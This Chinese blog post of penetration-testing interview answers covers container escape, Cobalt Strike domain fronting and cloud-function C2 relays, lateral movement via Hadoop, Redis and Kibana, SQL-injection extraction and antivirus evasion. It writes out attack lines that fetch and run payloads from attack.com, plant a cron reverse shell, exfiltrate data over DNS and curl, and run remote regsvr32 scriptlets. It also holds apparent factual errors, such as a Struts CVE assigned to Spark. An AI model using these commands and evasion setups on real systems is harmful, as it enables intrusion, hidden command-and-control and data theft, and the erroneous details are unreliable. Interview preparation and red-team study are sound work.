2025年渗透测试面试题总结-某 B站-攻防实验室(题目+回答)
网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
B站
一、Kubernetes与Docker攻击面及拓展利用方式
二、Cobalt Strike域前置与云函数配置实践
三、内网横向攻击可利用设备清单
四、Redis攻击的Linux系统差异
五、SQL注入返回长度限制突破方案
六、免杀技术体系化实现
七、防御体系建设建议
B站
k8s和docker 如何做攻击,有哪些拓展利用方式,是什么原因导致的 cs的域前置和云函数如何去配置 内网攻击的时候,内网有哪些设备可以利用,(hadoop kibana之类的设备) 攻击redis 不同的linux系统有什么不同 sql注入的时候,如果遇到了返回的时候长度不够,怎么解决,如何截取,用什么函数截取 域前置 免杀
一、Kubernetes与Docker攻击面及拓展利用方式
1. 攻击面分析
- 未授权API访问:Kubernetes API Server默认6443端口若未配置RBAC或网络策略,攻击者可枚举集群资源。典型工具:kube-hunter。
- 特权容器逃逸:Docker容器以--privileged启动时,攻击者可通过挂载宿主机目录(如/dev)实现逃逸。利用命令示例:
bash
docker run -it --privileged -v /:/host ubuntu chroot /host bash
- 敏感配置泄露:Kubelet默认10250端口泄露Pod信息,通过
/pods
接口可获取JWT令牌。- 镜像投毒攻击:公共仓库(如Docker Hub)的恶意镜像可能包含后门,利用供应链攻击植入恶意代码。
2. 拓展利用链
- 横向移动路径:
- 通过Service Account权限横向控制其他Pod
- 利用Calico网络插件漏洞穿透网络隔离
- 持久化技术:
- 创建恶意CronJob实现定时任务驻留
- 篡改etcd数据库修改集群配置
- 云原生逃逸组合技:
- CVE-2020-8558(Kubernetes中间人攻击)+ CVE-2019-5736(runc容器逃逸)形成组合攻击链
3. 漏洞根源
- 默认配置不安全:K8s默认开启API匿名访问,Docker socket默认权限过高(rw权限分配给docker组)
- 镜像信任缺失:缺乏镜像签名验证机制,CI/CD流程未集成漏洞扫描
- 网络策略宽松:默认允许Pod间全互通,未实施NetworkPolicy分段
二、Cobalt Strike域前置与云函数配置实践
1. 域前置(Domain Fronting)技术
- 实现原理:
- 利用CDN服务商(如Cloudflare、AWS CloudFront)的SNI与Host头分离特性
- 客户端请求伪装成合法域名(如update.microsoft.com ),实际解析到攻击者C2服务器
- 配置步骤:
- 注册CDN服务并绑定合法备案域名
- 配置C2 Profile中的
http-host-header
字段为伪装域名- 使用Malleable C2配置文件定义HTTP头特征:
http-config { set trust_x_forwarded_for "true"; header "Origin" "https://www.google.com"; }
- 检测规避:
- 使用TLS 1.3协议减少握手特征
- 动态更换Host头匹配热门域名(如Github、Dropbox)
2. 云函数中继配置
主流平台对比:
平台 触发方式 内存限制 超时时间 AWS Lambda API Gateway 10GB 15分钟 阿里云FC HTTP触发器 3GB 10分钟 腾讯云SCF API网关触发 1.5GB 5分钟 实现步骤:
- 编写云函数处理逻辑(Python示例):
python
import requests def handler(event): c2_url = 'http://真实C2_IP:端口' return requests.post(c2_url, data=event.body).content
- 配置API网关进行HTTPS转发
- 在Cobalt Strike中设置云函数URL为监听器
三、内网横向攻击可利用设备清单
1. 大数据组件
- Hadoop YARN:
- 利用未授权REST API(默认8088端口)提交恶意任务:
bash
curl -X POST -d 'shell=/bin/bash -c "curl http://attack.com/payload.sh |sh"' http://hadoop-node:8088/ws/v1/cluster/apps
- Spark History Server:CVE-2018-11776实现RCE
2. 日志分析系统
- Kibana:
- CVE-2019-7609原型链污染漏洞执行系统命令
- 利用Canvas组件加载恶意SVG文件触发XSS
- Splunk:通过未授权TCP端口(8089)上传恶意应用包
3. 数据库服务
- Redis:SSH公钥写入
/root/.ssh/authorized_keys
- MongoDB:未授权访问直接执行
db.adminCommand({setParameter: 1, internalQueryExecMaxBlockingSortBytes: 2000000000})
导致内存耗尽4. 版本控制系统
- GitLab:CVE-2021-22205 ExifTool漏洞上传恶意图片触发RCE
- Gitea:1.4.0版本目录穿越漏洞读取
/etc/passwd
5. 网络设备与服务
- Zabbix:默认口令admin/zabbix登录后通过Script功能执行命令
- Jenkins:Groovy脚本控制台直接执行系统命令
四、Redis攻击的Linux系统差异
1. 文件路径差异
- Ubuntu/Debian:
bash
config set dir /var/lib/redis config set dbfilename authorized_keys
- CentOS/RHEL:
bash
config set dir /var/lib/redis/data
2. 权限模型对比
- AppArmor限制(Ubuntu): Redis默认配置限制写入/etc目录,需修改
/etc/apparmor.d/usr.sbin.redis-server
- SELinux策略(RHEL): 默认禁止Redis修改ssh目录,需执行:
bash
setsebool -P redis_cluster_management 1
3. 利用方式调整
- 写入定时任务:
bash
echo -e "\n\n* * * * * bash -c 'sh -i >& /dev/tcp/10.0.0.1/4444 0>&1'\n\n" | redis-cli -x set 1 redis-cli config set dir /var/spool/cron/crontabs/ redis-cli config set dbfilename root redis-cli save
- Docker逃逸利用: 当Redis运行在容器内时,需挂载宿主机目录:
bash
docker run -v /:/host redis redis-cli config set dir /host/etc
五、SQL注入返回长度限制突破方案
1. 数据截取函数
- MySQL:
sql
SELECT SUBSTR((SELECT user()),1,1) SELECT MID(version(),2,1)
- Oracle:
sql
SELECT SUBSTR(banner,1,1) FROM v$version
- MSSQL:
sql
SELECT SUBSTRING(@@version,1,1)
2. 分块获取技术
- 二进制逐位判断:
sql
IF(ASCII(SUBSTR(database(),1,1))&1, SLEEP(2), 1)
- 组合查询拼接:
sql
SELECT GROUP_CONCAT(SUBSTR(column,1,10)), GROUP_CONCAT(SUBSTR(column,11,10)) FROM table
3. 外带数据传输
- DNS Log外传:
sql
SELECT LOAD_FILE(CONCAT('\\\\',HEX(user()),'.attack.com\\test'))
- HTTP带外通道:
sql
EXEC xp_cmdshell 'curl http://attack.com/`whoami`'
六、免杀技术体系化实现
1. 静态免杀技术
- PE文件修改:
- 节区特征擦除:使用工具PE-bear修改节区名称(如.text -> .data)
- 入口点混淆:在OEP插入垃圾指令
jmp $+5
- 壳加密方案:
加壳类型 检测规避率 适用场景 UPX修改版 60% 快速打包 VMProtect 85% 商业软件保护 自研壳 95%+ APT长期驻留 2. 动态免杀技术
- 进程镂空(Process Hollowing):
c
CreateProcess(挂起状态) -> ZwUnmapViewOfSection -> WriteMemory -> ResumeThread
- 内存模块反射加载: 使用sRDI(Shellcode Reflective DLL Injection)技术直接映射DLL到内存
3. 合法工具滥用
- MSBuild加载C# Payload:
xml
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> <Target Name="Exec"> <Exec Command="powershell -enc JABz..."/> </Target> </Project>
- Regsvr32执行远程脚本:
cmd
regsvr32 /s /n /u /i:http://attack.com/test.sct scrobj.dll
七、防御体系建设建议
1. 容器安全加固
- 实施Pod Security Policies(PSP)
- 部署Falco进行运行时异常检测
- 镜像扫描集成Trivy+Clair组合方案
2. 内网纵深防御
- 部署微分段防火墙(如Illumio)
- 实施JIT(Just-In-Time)访问控制
- 关键系统部署Honeypot诱捕节点
3. 攻击面管理
- 使用Nexpose定期扫描暴露服务
- 建立威胁情报驱动的动态防御机制
- 实施红蓝对抗常态化演练